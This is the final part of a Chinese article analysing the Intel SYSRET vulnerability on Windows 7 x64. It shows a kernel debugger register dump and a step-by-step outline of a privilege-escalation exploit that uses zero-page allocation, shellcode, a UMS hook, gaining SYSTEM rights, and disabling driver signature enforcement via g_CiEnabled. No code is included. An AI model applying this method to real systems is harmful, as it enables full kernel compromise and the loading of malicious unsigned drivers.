  r11=0000000000010246 r12=0000000000000001 r13=0000000000000001

  r14=0000000000000000 r15=00000000771e84f0

  iopl=0 nv up di pl zr na po nc

  cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000046

  nt!KiUmsFastReturnToUser+0x18c:

  fffff800`0428908c 498be9 mov rbp,r9

  后面SYSRET 触发异常后,不能对在异常处理的代码下断点,否则会触发蓝屏。

  还有masm64New.rules文件拷贝到你的X:\Program Files\Microsoft Visual Studio 9.0\VC\VCProjectDefaults,X为你VC2008所在的盘。然后就可以调试即可。

  代码里面也比较简单

  1, 不是WIN764 位就退出

  2, UMS函数初始化失败也退出。

  3, 判断函数的参数,或者带PID,或者是EXE路劲,为了能使对应的程序为SYSTEM权限,及清除标志g_CiEnabled,从而可以安装加载非签名驱动,这2个是为了表明内核执行代码可能导致的危害性做的演示。#p#分页标题#e#

  4, 分配0地址,并填入一些特殊数据,确保执行流程按指定的方向执行。

  5, 设置好SHELLCODE,并将shellcode入口点填入地址0X10,从而使其被触发调用

  6, 调用UMS线程,调用到我们的HOOK,填入非规范地址,从而触发异常执行。

  最后补充下,这段代码在WIN8 64位下应该是无效的,因为WIN8 64不允许分配0地址,也不允许内核执行应用空间的代码。


以上,就是金顺软件园小编给大家带来的Intel Sysret 漏洞在WIN7 X64下的实现分析全部内容,希望对大家有所帮助!

上一篇lol美服更新锤石上线、英雄技能价格调整介绍下一篇AV-C最新杀毒软件评级:360检测率中位列第一、误报率也是居世界首
编辑:点点小编